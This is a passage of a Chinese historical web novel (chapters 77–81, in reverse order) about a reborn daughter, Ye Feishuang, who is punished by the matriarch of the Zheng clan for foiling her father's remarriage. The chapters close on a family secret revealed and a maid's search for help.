郑涟积郁多年的屈辱、愤懑、不甘倾泻而出,仿佛是用血泪在控诉: “我从未与秦氏同过房,她的孩子是哪里来的?她孕七月便产子,且是双生子,按说难活。可她那一双儿女,康健强壮,分明就是足月而生!还有霜儿,她刚出生不久,母亲就着人将她扔出郑府,以至我们生离十年。我的妻女被你害成了什么样子,你如今竟还说是她们自己走上绝路?” 一声闷雷自天际而来,在头顶轰然炸响,整个鼎福居仿佛都跟着晃了晃。但是再大的雷声,也比不过郑涟抖出的这桩密辛让人震撼。 “放肆!”郑老太太豁然站起身,浑身都发抖,“四老爷疯了,把他带下去,传大夫来好好给他治一治!” 下头的人不知是被震住了,还是骇于五姑娘的狠辣,一时间竟无人动手。 傅闻达和傅湘语兄妹面面相觑,也从彼此眼中看到了极度的震惊。 郑茜媛没被叫过来,但是她一直偷偷躲在暗处,想看看叶绯霜会落个什么下场,却不料听到这么个噩耗。 父亲刚才说什么?她不是郑家的女儿? 靳氏失声痛哭:“老爷……” 郑涟扶起靳氏,用袖子擦干净她脸上的血和泪:“香华,是我对你不住。你跟了我,都没过上什么好日子。下辈子,我给你当牛做马来还。” 靳氏哽得说不出话,只一味地摇头。 郑涟知道把这些事抖落出来,他是无论如何都活不了了。 他又不知道拿什么保香华,老太太明显是要让香华死的。 香华死了,他活着还有什么意义?不如随她去了。 左右都是个死,与其窝窝囊囊的死,不如死前争一口气,吐个痛快。 只是对不起女儿。 郑涟看向叶绯霜,她衣服脏了,头发乱了,脸上都是血,很狼狈。 他这个女儿特别好,十分懂事,从来不让爹娘操心,是他和香华的骄傲。 他的日子,就是在女儿回来之后,才一点点好起来的。 明明是这么优秀、这么能干的女儿啊。 可他是个没用的爹,十年前留不住女儿,现如今也护不住她,还要连累她一并被老太太处置了。 早知道,便不找她回来了。 叶绯霜看出郑涟的愧疚,她握住父亲枯瘦的手,轻声说:“女儿从未怪过爹娘,女儿只怨自己还是没能护好爹娘。” 郑涟抱住妻女,泪流满面。 那头,傅闻达已经从震惊中回过神来,他低低唤了声“外祖母”,做了一个手起刀落的手势。 不光是四房这三人,在场的下人也都要一并解决了。 此事绝对不能传出去,否则便会惹来天大的祸端。 郑老太太喘着粗气,眼中覆盖上更深的阴鸷,手中的佛珠竟被她生生扯断了。 断裂的珠子散了一地。 “着人去族中报丧。”郑老太太一字一顿,声音森冷,“四老爷突发卒上气,病重离世。靳氏殉夫,五女惊闻父母噩耗,暴毙。” 小秦氏立刻说:“姑母真是太心善了,还给这对母女留了个好名声。” 郑老太太闭上眼:“叫护卫进来,都处置了。” 郑府护卫众多,但平时都守在外院,从不进垂花门。 现在得了郑老太太的命令,上百护卫持刀而入。 小秦氏得意地瞥了一眼叶绯霜。 面对这么多武艺高强的护卫,她就不信这小丫头片子还能逃出生天! 明年今日,就是她的祭日! 第81章 搬救兵 小桃拎着两串糖葫芦蹦蹦跳跳地回了府。 那串山楂又红又大的,给姑娘吃。那串稍微小一点的,她自己吃。 谁料刚进府门没多久,小桃就被人一把拽到了廊柱后。 “明秀姐姐,你来找我玩呀?” 明秀一脸焦急:“玩什么,出事了!老太太下午着人把靳姨娘带去了鼎福居,还掌了嘴,刚才五姑娘一回来,也被罗妈妈带走了!” 小桃惊道:“怎么会这样?我家姑娘和姨娘现在怎样?” “我哪儿知道啊,我又进不去厅里!” 明秀只是鼎福居的粗使丫鬟,否则小桃也认识不了她。 明秀也不知道把这事告诉小桃有什么用,还指望她一个小丫鬟去救姑娘吗?但总不能什么都不做吧,小桃给她带过那么多五姑娘做的点心,吃人嘴短啊。 “三夫人和二姑娘今日都不在府里,你想想办法啊,我赶紧回去了。”明秀说完就着急忙慌地跑了。 糖葫芦掉在地上,小桃拔腿就往映竹轩跑去。 对,找陈公子,或者卢四公子也行。 可是等她紧赶慢赶到了映竹轩,却被告知二位公子都不在府里。 小桃双手撑着膝盖,呼哧带喘:“他们去哪儿了?什么时候回来?” 和她说话的是个洒扫的小厮,讪笑着说:“这我哪儿知道啊。” 小桃绝望了。三夫人、二姑娘、陈公子、卢四公子都不在府里,她三哥去了涂州,明早才能回来…… 她还能找谁…… 小桃离开了映竹轩,却不知道还能去哪里搬救兵。迎面走来一行人,她急忙缩到花丛里藏了起来。 走近了,她看清几个小厮抬着一个担架,上边坐着的是四老爷! 小桃捂住嘴,她意识到是出了天大的事,竟然连从不出落梅小筑的四老爷也要去鼎福居了! 小桃从角门狂奔出府,她要去味馨坊,想让店里的伙计去打听打听陈三郎在哪里。 小桃进了味馨坊的后院,听见一个熟悉的大嗓门:“这杏花蜜都是顶好的,贵是贵了点儿,但五姑娘说只要材料好不拘价格……” 小桃哭着叫了声:“爹!” 石杨黝黑的脸上露出憨厚的笑:“这不是我家大闺女吗?来,让爹掂掂沉了没有……” “姑娘出事了!爹,你快让人去找陈三郎啊!” 石杨一怔:“出啥事了?我去哪儿找陈三郎啊?” 他就只见过陈三郎一次! 小桃崩溃大喊:“我哪儿知道?你去找,去找啊!不然我们姑娘怎么办!” 从没见过懂事的闺女哭成这样过,石杨吓坏了:“好好好,找,我马上安排人去找!” “还要去找我三哥。”小桃又说,“三哥说去办一件很重要的事,说不定能帮上姑娘呢?他不是明早就到了吗?你让人去迎迎他,让他连夜回来!” 石杨知道铜宝去了涂州,不过不知道具体办啥事。按照脚程,他大概能知道铜宝现在在哪儿,可是…… “好闺女,城门都上锁了,你让爹怎么去迎人啊?” 小桃忘了这茬,反应过来后更绝望了,一屁股瘫在地上大哭起来。 哭了两嗓子她又爬了起来,抹着泪出去找陈三郎。 多一个人就多一份力,说不定就找到了呢。 —— 云华楼是荥阳城最大的客栈。 一间宽敞雅致的上房内,母子二人正相对而坐。 陈夫人说:“你父亲的意思是,让你回去行加冠礼。” 陈宴颔首:“是。” 自古男子二十而冠。但从前朝开始,这个年龄就不被严格遵循了。门阀世家为了让优秀子弟尽早入仕,会让他们十六七岁就行加冠礼。 家里本来就打算让他今年参加完会试之后加冠,直接留京入仕。 陈夫人又说:“你祖父说,行完加冠礼后,你去京城。” 陈宴垂下眼睫,声调淡淡:“我早说过,不会试,不入朝。” 大昭开设文官会试,本意是为了让寒门士子有一条入仕之路。他们这些世家子弟,并不需要参加会试,靠族中荫庇就能封侯拜相。 只是陈宴不愿意靠家里,他只靠他自己。 他六岁那年就和祖父明确说过,他若是会试不中,他就不入朝为官,绝不靠家中荫庇。 陈夫人笑着说:“我们都知道你的志向。去京城等会试是一样的呀,你若能在国子监读三年,到时候名次不是更好吗?国子监祭酒给你祖父传了信,就等着你去呢。” 陈宴想到幼时入京所见,国子监乌烟瘴气,里边的王孙贵胄不学无术,学习氛围还比不上各州的小书院。 他微微蹙眉,干脆道:“不去。” 陈夫人不知缘由,只当他还想在荥阳:“咱们家和郑家有姻亲,该帮是要帮。你这都在他们族学里帮了快一年了,早就够仁至义尽了。” “郑七叔还没回来,我还要等他教我剑法。” 陈夫人叹气:“谁知道他什么时候能回来?本来说去年回来,结果跑去了化外之地,现在都不知道人在哪儿。” 陈宴说:“郑七叔惯来潇洒。” 陈夫人盯着他看了一会儿:“你今天怎么了?心不在焉的。” 陈宴也说不上来,就感觉心神不宁,让他不太静得下来。 陈夫人只当他累了,起身道:“早点休息吧,明天咱们启程回颍川。” 陈宴垂首:“是,母亲夜安。” 陈夫人的房间就在陈宴隔壁,一回去,就听丫鬟禀告:“夫人,外头有人寻咱们三郎呢。” “什么人?” “不知道是哪家的,我只瞧见一个小丫头问呢。” “肯定又是哪家姑娘看上他了,派人打听他呢。” 丫鬟笑道:“咱们三郎是太招人了。” 这种情况陈夫人可见太多了,也失笑摇头:“派人打发了去,说三郎不在。警告他们莫要这么大肆打听,像什么样子。” 隔壁房间,陈宴唤来了锦风。 “五姑娘可回府了?” 锦风点头:“酉时二刻就回去了,咱们的人暗中护送到郑府大门口,亲眼瞧见五姑娘进府的。” 陈宴点头:“知道了,你去歇吧。” 按住心口,他又叫住了准备关门的锦风:“罢了,你还是着人去落梅小筑看一眼。” 第80章 应处死 傅闻达又怒又惧。 怒的是他堂堂举人老爷,竟被一个小丫头片子打倒在地,好不狼狈! 惧的是叶绯霜满含愤恨的狰狞眼神。 傅闻达一时间心里突突,不禁自我怀疑,难道在味馨坊外,真的是他听错了?宁世子其实没有和叶绯霜说过那些话? 否则叶绯霜为何这般生气,一副蒙受了天大冤屈的样子? 傅湘语跑过来扶住他:“哥哥!” 兄妹连心,傅湘语何尝看不出他的犹疑?低声道:“咬死了。” 傅闻达蓦然回神—— 是,状都已经告了,是决计不能反口的了。 在告状前,兄妹二人就盘算好了。 这事一出,郑老太太绝对不会轻饶了叶绯霜。她和陈宴的婚约是无论如何都不会继续下去的了,郑家不会让这么一个品德败坏的女儿嫁去陈家。 婚约解除后,机会最大的是谁? 当然是才貌双全、年龄又合适的傅湘语。 为了妹妹,即便是他听错了,即便是真的冤枉了叶绯霜,那也只能冤枉她了。 匹夫无罪,怀璧其罪。要怪她就怪她命不好。 傅闻达面容严肃,义正言辞:“五姑娘,你联合外人,毁掉父亲婚事,乃我亲耳听到,绝对没有弄错!外祖母让四老爷娶妻,一是为绵延子嗣,二是为冲喜。五姑娘此举,不光妨了四房香火,还不利于四老爷康复,实在是大不孝!” 郑老太太从没见过有人敢在她房中动手,三角眼里几乎要喷出火来:“家门不幸!我郑氏百年望族,书香世家,竟出了这样一个不仁不孝、罔顾人伦的孽女!我愧对列祖列宗,我要清理门户!” 她冷声唤道:“来人,取白绫来!” 神智涣散的靳氏一听郑老太太竟然要勒死女儿,心头巨震。 她挣扎着爬起来,朝着郑老太太连连磕头,痛哭流涕地哀求:“老太太,求您饶五姑娘一命,她没有不孝,她没有!” 小秦氏冷嗤道:“靳氏,你都自身难保了,还替她求情?养出这么一个孽障来,你的惩罚也别想逃!” 傅湘语拽了拽叶绯霜,好言好语劝慰道:“五妹妹,你就别嘴硬了,快认错吧!好好向外祖母求求情,你是她亲孙女,她不会真的处死你的!” 傅湘语又道:“五妹妹,我把此事告诉外祖母,是为了让你悬崖勒马,知错就改。你若怪我,我也认了。你有什么不满,尽可全都发泄到我身上!但你不要再气外祖母了好不好?她老人家年纪大了,经不起啊!” 叶绯霜懒得搭理惺惺作态的傅湘语,她只看着上首的郑老太太:“祖母一口一个没有教养,一口一个罔顾人伦,孙女倒是想问问了,什么叫‘教养’,什么又叫‘人伦’?” 她声音不高,却冷:“我一出生便流落在外,去年才回来。十年间,我没有吃郑府一粒米,没有听过郑家人一句话。郑府既没有教过我,也没有养过我,我哪会有那种东西?” 她撇了撇唇角,十足的讥讽:“至于罔顾人伦……您难道不该去地下问问您的好侄女、我的好母亲吗?她和人私通多年,水性杨花。有这样品德败坏的嫡母,又指望我从她身上学到什么人伦?” 小秦氏听她竟然敢编排自己姐姐,气得牙关咯吱作响,声音打颤:“罗妈妈,你们都还愣着干什么?白绫呢!绞死她,然后拔了她的舌头!我看她以后还怎么口出狂言!” 刚才的一群婆子被叶绯霜打了个人仰马翻,这次来的都是力气大、有功夫的。她们扯着一截长长的白绫,索命厉鬼似的就往叶绯霜脖子上套。 叶绯霜握住椅子腿,大不了再打一场。 谁知靳氏忽然膝行几步上前,哭喊:“老太太,我认罪,都是我做的,是我的错!你们放了霜儿吧,她什么都不知道!” 叶绯霜失声大喊:“姨娘!” 她朝靳氏冲去,却被几个婆子拽住,狠狠按到地上。 这些婆子每个的体格都抵两个叶绯霜,肌肉遒劲,八只手按着叶绯霜,让她一时间无法挣脱。 郑老太太居高临下地睨着靳氏:“哦?你做的?” “是,是我妒忌,我不想让姥爷娶妻,都是我的错,和霜儿没关系!老太太,您饶了霜儿吧!” 靳氏一边说一边用力磕头,很快额头上就见了血。 叶绯霜挣扎得脖颈上青筋暴起,声音嘶哑:“娘,和您没关系!您不要认您没做过的事情!” “原来是你!”小秦氏恶声道,“那我姐姐是不是也是你害的?你嫉妒她,才构陷她和人私通,是不是?” “是,是,都是我,全是我做的!”靳氏什么都顾不得了,只要保住自己的女儿不被绞死,她什么都能认,“是我妒忌,是我恶毒,我不是人。都是我的错,和五姑娘没关系……” 小秦氏一脚把靳氏踹翻在地:“贱人!可怜我姐姐被你这恶毒妇人害得名声尽毁,含冤而死,你便去地下给她陪葬吧!” 靳氏喷出一口血来,呛咳不止。 那血把叶绯霜的双眼都染红了,她困兽般挣扎,用尽全力挣脱那些压在自己身上的沉重躯体,终于甩开了几个婆子,扑向靳氏。 她把靳氏抱起来,想摸她面目全非的脸,却不知道该触碰哪里,手悬在空中颤抖不停。 她的泪不断落下,一声声哽咽地唤着她:“娘……” 靳氏反握住她的手,努力眯缝开眼睛,看着女儿。 她想朝女儿扯出一个安抚的笑容,但是脸没有知觉,失败了。 小秦氏对郑老太太说:“姑母,断不能让这样的毒妇苟活于世!就该把她沉塘!” 叶绯霜的牙关磨得咯吱作响,她几乎忍不住要把郑老太太做过的那些恶事斗罗出来。她想问这个老太婆,她把娘亲贬妻为妾,把秦氏塞进来,让自己流落在外和父母生离十年…… 这么歹毒的人,怎么还有脸稳坐高位、义正言辞地审判旁人呢? 但她又知道,不能说,否则只会让自己和娘亲死得更快。 按照铜宝的信,刑娘子他们最迟明早就会回来,然后族长会带着刑娘子来这里,自己和娘亲就有救了…… 坚持到明早,只要坚持到明早。 不能让娘亲再吃苦了,叶绯霜想,要不要自己服个软,拖延一下时间…… 许多念头在脑子里飞快闪过,却忽听被一声“四老爷”打断了。 叶绯霜一怔,爹爹? 爹爹身体那般差,他怎么来了?堂中这么混乱,姨娘被打成了这样,要是让爹爹看见,他得多心疼?他遭不遭得住? 房门打开,叶绯霜看见了架着郑涟的身影—— 是傅闻达的小厮! 傅闻达朝郑老太太一拱手:“外祖母,到底是四房的事情,总该让四舅舅知道的。于是我便着人,把四舅舅请来了。” 郑老太太并不关心郑涟的情绪是否经得住大喜大悲,不咸不淡地道:“老四,你妾靳氏七出之罪犯了三条:无子、口舌、妒忌。按照族规,理应处死。毕竟她也伺候了你这么多年,我就做个好人,给你们个道别的机会。” 第79章 她生气 叶绯霜匆匆赶到了鼎福居。 一进正堂,首先看见的就是端坐在主位上的郑老太太、小秦氏、傅湘语等人。 地上围着一圈婆子,她们瞧见叶绯霜后散开,露出中间伏在地上起不来的靳氏。 叶绯霜瞳孔放大,惊呼一声“姨娘”,立刻扑过去抱住她。 靳氏浑身被冷汗湿透,活像从水里捞出来的。发髻散乱,更恐怖的是她的脸,肿得老高,青紫遍布,嘴角全是干涸的血迹。 她努力把肿得不成样子的眼睛睁开一条缝,嗫喏着嘴唇,却因为张不开嘴,无法和叶绯霜说话,只能发出嗬嗬的粗喘。 愤怒与心疼从脚底直冲头顶,几乎要冲垮叶绯霜的神智。 她感觉自己被火气烧成了两半。一半被愤怒裹挟着,恨不得杀了这里的所有人。 一半竟出奇地镇定,就连声音也是四平八稳的:“姨娘犯了何事,祖母要这么惩罚她?” “呵,还不是她教养不力,养出你这么个孽障!”郑老太太冷笑道,“好一个五姑娘,竟然连你父亲的姻缘也敢搅黄,谁给你的胆子!” 叶绯霜心头一突,此事是她托璐王妃做的,知道的人甚少,郑老太太又是从何处得知的? 心里虽疑惑,但叶绯霜嘴上已经给出了回答:“祖母在说什么?孙女听不懂。” 她不承认,她才不会自爆。认了岂不是把自己和母亲的性命递出去了? “不就是你求了璐王妃,给那高二姑娘寻了一门好亲事,好让她不能嫁给你父亲吗?我说怎么这么巧,那李家郎君偏就和我们看上了同一个人!原来是你在中间捣鬼!” “祖母高估孙女了,孙女如何求得到璐王妃头上?璐王妃又怎么会帮孙女办事呢?不知祖母从何处听到的这种无稽之谈,孙女实在是冤枉啊。” 郑老太太怒斥:“闻达亲耳听到你和宁世子说的话,你还不承认!” 叶绯霜抬眼看向端坐在太师椅里的傅闻达。 满含怒气的目光如炬如电,骤然射向自己,让傅闻达心头砰砰直跳,下意识捏紧了椅子的扶手。 他抿了下唇角,镇定道:“五姑娘,我在味馨坊亲耳听到了宁世子对你说事情已经办好了,李家已经去向高二姑娘提亲了,不就说的是这事吗?” 原来是他听到的,那叶绯霜更不会认:“我和宁世子只有几面之缘,都没说过几句话!况且他堂堂亲王世子,我如何指使他帮我办事?我哪来这天大的能耐!” 傅闻达其实也想不通,但是他确实听到的就是这样。 傅湘语开了口,声音清冷如珠落玉盘:“五姑娘,做了就是做了,多说无益。谁没犯过错呢,只要改了便好了,知错能改善莫大焉。” 一句话,直接就给叶绯霜扣了罪名。 “凭什么傅哥哥说我做过,我就一定做过?就他一人听到了?他可还有旁的证人?” 傅湘语冷笑:“难不成还是我哥哥编出这么档子事来冤枉你吗?” 叶绯霜逼视着傅湘语:“好啊,既然如此,那不如请璐王妃和宁世子过来和我对质!” “放肆!”小秦氏一拍桌子,怒道,“你算什么东西,也配让王妃和世子来跟你对质?” 叶绯霜轻哂:“我都有能耐指使王妃和世子给我办事了,让他们来对质一下怎么了?赶明儿我就上京去,入金銮殿,给咱们家的人都封王封爵。傅哥哥,你也不用辛苦准备会试了,我直接点你当状元!反正我能耐这么大,天我都能翻了!” 在场之人被她这一通阴阳怪气弄得脸青一阵白一阵。 伴随着刺耳的“啪嚓”一声,郑老太太把她手里的茶盏狠狠掷在了叶绯霜跟前。 滚烫的茶水和碎裂的瓷器飞溅起来,叶绯霜第一时间护住了靳氏。 “孽障!犯了大错不认,还编排起家里的长辈来了!”郑老太太震怒道,“小小年纪,就走上了歪路!好,你不认是吧?我看你嘴硬,还是板子硬! 把这个逆女给我拖下去掌嘴,打到她肯说实话为止!” 郑老太太说的掌嘴并不是用手打耳光,而是用两寸宽一寸厚的木条抽脸,几下子就能抽得人面目全非、牙齿脱落。 叶绯霜立刻道:“祖母,难道您要屈打成招吗?上次诗会出了事便是这样,您不分青红皂白就要处罚我,同样的手段您还要用几遍?旁人说的您就信,我说的您就不信吗?” 郑老太太稳坐高位多年,习惯了说一不二,从来没人敢忤逆她! 只有这个乡下的野丫头,一而再再而三挑战她的权威! 小秦氏见郑老太太盛怒,立刻添油加醋:“牙尖嘴利,死不悔改!姑母,乡下长大贱胚子皮厚,我看只打她一个不行,得连她姨娘一块儿打。 若是她姨娘被打死了她还不改口,倒是有几分可信了。” 对上叶绯霜愤恨惊怒的眼神,小秦氏觉得畅快无比。 她就要用这件事,把这对贱人母女给按死了,好告慰她姐姐的在天之灵! “就这么办!”郑老太太说,“把这对母女给我拖出去,狠狠地打!打到这个孽女说实话为止!” 傅湘语嘴角勾出一抹不易察觉的笑:“五妹妹,姐姐劝你,还是认了吧,省得吃苦头,这次可没有陈公子和卢公子来帮你说话了。就算不为你自己,你也得为你姨娘想想啊!” 傅闻达也说:“五姑娘,知错就改总比死不悔改说出去好听。你也想想陈宴,有一个品行如此低劣的未婚妻,你让他如何自处?况且他可知你利用他行如此不孝之事?你可对得起他?” 小秦氏啧啧嘴:“和陈家有婚约的竟然是这么一个姑娘,真是丢尽了我们郑家的脸!” 房间内燃着郑老太太礼佛时惯用的檀香,浓郁到滞涩,压得人喘不过气。 那一张张锦衣罗裙、端坐高台的面孔仿佛化成了青面厉鬼,要将她和娘亲撕得血肉模糊,要把她们的骨血全都吞下去。 前世今生,数不清多少次了,她被压在自己头上的强权逼得走投无路。 郑老太太是长,陈宴是夫,那些少爷小姐们是贵。他们都为尊,他们做的事哪怕伤天害理,那也是对的。谁反抗,谁就是罪人。 她哪里有罪呢?爹娘本就是夫妻,中间凭什么非要夹一个旁人?高菡又何辜,凭什么要因为她们的一己之私毁了一生? 她才没错,重生以来做的每件事,都是对的。 一群婆子把她和靳氏往外拖,靳氏不慎被踩到了手,发出惨叫。这叫声宛如火种,把叶绯霜的怒气彻底点燃了。 她挣开不断拉扯自己的婆子,随手抄起一张椅子,把她们砸了个人仰马翻。 她护着娘亲,不让她们再碰娘亲一下。 谁也没料到她会突然动手。 整个正厅乱成了一团,叶绯霜像是一只护着母狼的狼崽,露出了锋利的獠牙。 她听见小秦氏在喊“反了反了”,傅湘语在喊“外祖母小心”,郑老太太在喊“清理门户”。 傅闻达也被叶绯霜突然暴起吓了一大跳,起身便想躲,不料被叶绯霜手中的椅子狠狠砸在了腰侧,砸得他一股腥甜涌上喉头,顿时跌倒地上。 傅湘语惊惧大喊:“哥哥!” 叶绯霜站在他身侧,双目充血,居高临下地睨着他,手中的椅子就悬在他头顶,仿佛随时可以砸碎他的头颅。 她另一只手指着他,一字一顿地问:“傅闻达,你都听到了什么,你再给我说一遍!” 第78章 太得意 叶绯霜过来时,味馨坊正乱着。 “姑娘。”绿蕊一见到叶绯霜,眼泪就掉了下来,指了指高萱,“这位客人说我们怠慢她,还把我们的点心全给扔地上踩了。” 这些点心是她们忙了好些时日才做出来的,一个一个地捏出精致的花纹,挑出最好看的仔仔细细地摆在礼盒里。如今被这么糟蹋,她都要心疼死了。 高萱见叶绯霜年岁不大,衣着也不华贵,值钱的首饰更是一件没有,便知道是个家境平凡的商户女。 又想到自己出身官家,还即将成为郑家的四夫人,便生出一种高高在上的得意。 “你就是这里的掌柜的?”她傲慢地问。 “是。”叶绯霜笑容得体,好声好气地说,“小店客人多,伙计太忙,以至于怠慢了姑娘,我向姑娘赔个不是。要不这样,今日姑娘挑的点心,小店分文不收,权当一片心意赠予姑娘了,如何?” “谁稀罕你们这些破点心,别搞得好像本姑娘占你们便宜似的。”高萱翻了个白眼,“我让你们店里的伙计把最好的点心拿出来,结果他们只拿出这些货色,看着就没食欲,倒人胃口!你们不就是故意拿些次货怠慢我的吗?” 简直就是欲加之罪何患无辞,但叶绯霜依然本着生意人的和气:“那姑娘想怎样呢?” 高萱见这商户女面容姣好,不卑不亢,身上有种清雅沉稳的气质,顿时一股嫉妒涌上心头。 一个商户女,装的和个大家闺秀似的干什么? 高萱把一块儿被她踩扁的点心往前一踢:“既然你们非说这些是店里最好的,那你们就吃了给本姑娘瞧瞧。你是掌柜的,就由你吃吧。” 绿蕊又气又怒:“哪有你这样欺辱人的?” 高萱抱起双臂,趾高气扬地说:“你若不吃,就证明你们自己都看不上自己店里的东西,不就是拿次货怠慢本姑娘吗?信不信本姑娘一句话,就让你们这店在荥阳开不下去?” 这简直就是满口胡言,故意欺负人。 叶绯霜收了笑,声音也冷了下来:“不知姑娘是哪家小姐?真是好大的威风,一句话便能断人生计。” 高萱等的就是这句话。 她扬着尖尖的下颌:“在荥阳,自然是郑府最威风。” 叶绯霜道:“我和郑府也有些交集,不曾见过姑娘。” “当本姑娘吓唬你么?本姑娘已经和郑府结亲,马上就是郑府的四夫人了。你再不乖乖按照本姑娘说的做,小心以后在荥阳没有立足之地!” 这话一出,绿蕊和其他几个伙计全都齐唰唰地看向了叶绯霜。 高萱还以为他们是被自己的身份吓到了,一时间更为得意。 “怕了吧?”她斜睨着叶绯霜,“你把地上的东西都吃了,本姑娘便饶你们的怠慢之罪,放你们这铺子一条生路。” 然而她并没有在叶绯霜脸上看到预料中的惊惧之色。 叶绯霜反而又笑了起来:“原来姑娘是要嫁入郑府了,那的确担得起‘威风’二字。但据我所知,郑府这样的钟鸣鼎食之家,选媳最重的品行。 姑娘今日这番做派,又是摔打点心,又是责骂伙计,还仗势欺人……似乎和郑府的门风格格不入啊?” 高萱脸色一僵:“你一个商户女,也敢教训本姑娘!” “哪里,好心提醒一句罢了。奉劝姑娘,在成为真正的‘贵人’之前,先要学会做人。否则纵有攀附之心,也未必有那个福气踏入郑府的大门。要是姑娘的高门梦泡了汤,您今日的威风岂不是白耍了?” 她气质沉静,眼神锐利,字字钉入高萱耳中,让她的脑子冷静了下来。 她终于反应过来,自己是得意忘形了,她还没嫁进郑府呢。 尽管心里怂了,但高萱面上依然是高傲的,她指了指叶绯霜:“好,好。你给本姑娘等着,本姑娘非要让你信了这个邪!” 高萱转身就要走人,不料被叶绯霜抬臂拦住。 “你还要干什么?” 叶绯霜对绿蕊说:“数一下我们的糕点毁了多少,让这位郑府未来的四夫人原价赔偿。” “你……” “我们做生意,讲究的是一个和气生财。所以姑娘恶意生事,妄图损害小店声誉的事我便不计较了。否则闹到官府那里,损了姑娘的声誉,误了姑娘的姻缘可怎么办?” 高萱一双眼睛瞪得圆圆的,气怒交加,脸色变得铁青。 她真想砸了这个点心铺子,让这个商户女知道自己不是她惹得起的。 但又怕真的闹到官府那里去。她可是未来的高门贵妇,和这低贱的商户女不一样。 本着“君子报仇十年不晚”的原则,高萱把钱袋子解下来用力扔给叶绯霜:“给你!够了吧?” 叶绯霜掂了掂:“不够。” “你还讹上本姑娘了?” 叶绯霜指了指墙上挂着写着价格的木牌:“明码标价,童叟无欺。” 她扬声唤道:“小桃,跟着这位郑府未来的四夫人去取银子。” “好,你很好。”高萱耍威风不成,反而让自己窝了一肚子火,气极反笑,“希望下次见到本姑娘时,你还能这么嚣张!” 很快小桃就取了银子回来了:“姑娘,那人是高同知府上的三姑娘!” 竟是高菡的妹妹。 高菡和郑府的姻亲黄了,她妹妹倒是立刻就顶上了。 只是不知道这是高家和小秦氏的安排,还是这位高三姑娘自己的主意。 叶绯霜已经收到了铜宝从涂州传回来的消息,刑娘子已经接触到了族长那边的人,正在快马加鞭返程的路上。 所以不管是谁的主意,这位高三姑娘的贵妇梦,注定要破灭了。 叶绯霜不在意这个小插曲,和绿蕊开始清点新款点心的售卖情况,不知不觉忙到了天擦黑,准备回郑府。 路上,小桃问:“姑娘,那天陈三郎给你买的那串糖葫芦是哪家的?真好吃,我还想吃。” “就走到头,胡同口,一个瘸腿老大爷卖的。” “那我去看看!姑娘,我会给你带一串的!” 叶绯霜挥了挥手:“去吧去吧。” 郑府不远,她索性就自己一个人先回去了,不曾想,罗妈妈就在门房里等着她。 “五姑娘,鼎福居,请吧。” “祖母叫我何事?” “五姑娘去了便知道了。” 叶绯霜想了想:“今日太晚了,恐打扰祖母休息。祖母有什么吩咐,不妨明日我去请安的时候再告诉我。” 罗妈妈露出一个阴恻恻的笑来:“靳姨娘也在鼎福居等着姑娘呢,还是别耽搁了。” 一听到娘亲被带去了鼎福居,叶绯霜有了种不好的感觉。 第77章 代姐嫁 味馨坊不远处,傅闻达追上了傅湘语。 傅湘语奇道:“咦,哥哥你不是和宁世子他们喝茶去了吗?” 傅闻达将傅湘语拽到旁边的一个巷子里,低声道:“了不得,我刚在门外听见宁世子和郑五姑娘说话。” “宁世子和五姑娘?”傅湘语觉得这是八竿子打不着的俩人,“他们说什么了?” 傅闻达把宁衡说的那句话复述了一遍。 傅湘语眨眨眼:“哥你听错了吧?五姑娘凭什么交代宁世子办事啊?” “我绝对没有听错,宁世子就是这么说的。” 傅湘语脸上的笑容消失了。 她想了想:“怪不得这么巧!怎么偏偏这个时候,那李十四郎就对高二姑娘一见钟情了?什么天作之合,分明就是叶绯霜从中作梗,故意撮合了李十四郎和高二姑娘,从而毁了外祖母的好事!” 傅闻达道:“她够不上璐王府,所以必然是求的陈宴为她引荐的。陈宴此人端和温润,对于旁人的要求都会尽量答应,更何况他们还有婚约。” 想起叶绯霜又是缠着陈宴给她开蒙,又是邀请他参加自己生辰宴,还要让他在别院陪着自己,这种种行径,让傅湘语心疼陈宴心疼得眼眶都红了。 “我就说璐王妃的春宴明明没有邀请叶绯霜她怎么还去了,肯定是她腆着脸凑着陈公子去的,又唆使高菡和李家郎君见了面。。可怜陈公子被这纸婚约绑住,竟被她一再纠缠利用。” 傅湘语越说越气:“我要把此事告诉外祖母!” 看准的儿媳妇没了,外祖母这几天一直不快。要是让外祖母知道这是叶绯霜在捣鬼,外祖母肯定不会放过她的! 她还要把这件事告诉陈宴,让他以后离他所谓的未婚妻远一点,不要一再被她利用了。 —— 叶绯霜的味馨斋位于福禄坊,是个很繁华的地方,荥阳许多官宦人家都住在福禄坊里,高同知也不例外。 此时,高府内有人欢喜有人忧。 欢喜的自然是高菡,非但不用嫁给郑四老爷了,还得了李十四郎这么一个如意郎君。 李十四郎高大英武,现在在军中任都尉,将来建功立业,大有前途。 高夫人也替女儿高兴。 本以为和郑家结亲是板上钉钉的事了,没想到峰回路转,竟然柳暗花明了! 璐王妃的春宴可真是去对了! 此时,高府的另外一处院子内,一个年轻的姑娘把桌上的花瓶狠狠扫到了地上。 她怒骂:“什么好事都是那个高菡的!先和郑四老爷议亲,现在又要嫁去李家!两桩婚事都是高门,怎么我就得嫁给父亲手底下的一个小吏呢?我不配入高门大户吗?” 旁边的妇人道:“我的姑娘,小声些,让夫人听见还以为你不满她给你订的亲事了!” 年轻姑娘明显心态崩了:“我就是不满!我比高菡漂亮,比她聪明,为什么不能比她嫁得好呢?就因为她会投胎,拖生到夫人肚子里了吗?我是个通房生的,我就什么都不配!” 妇人垂泪:“是姨娘连累了你。” 这位姑娘正是高菡的妹妹,高家三姑娘,高萱。 旁边的妇人是她生母,本来是高同知的通房丫鬟,生了两个孩子后提成了姨娘。 高萱发泄了一通,也平静了一点儿,坐在桌边呼哧喘气。 “嫁去郑府有什么不好?那可是荥阳郑氏,钟鸣鼎食的高门。一嫁过去就是四房的正头夫人,偏她还哭哭啼啼寻死觅活,真是不识好歹。” 郑四老爷年纪大怎么了?身子不好怎么了?他那个姓就是多少人一辈子都够不着的高度。 她姨娘忽然道:“三姑娘,不如你替二姑娘嫁了?” 高萱愤愤:“我倒是想,但人家郑府愿意迎我么……” “怎么不愿了?你都说了,你比那二姑娘强了不止一星半点。”姨娘压低声音,“我听见过夫人和二姑娘说话,好像让二姑娘嫁过去,是为了替郑老太太和秦夫人守好前头那夫人留下的俩孩子,并不是看准了二姑娘那个人多好。” 高萱眼珠子咕噜噜一转:“也就是说,郑家不太看重出身?只要能顾好四房的孩子就行?” “是啊。” 高萱捏紧拳头,心头涌上一股斗志:“我明日便去找秦夫人。” 她要嫁高门、做贵妇人,她才不要嫁一个看不见前途的九品芝麻小官。 她要为自己搏一搏。 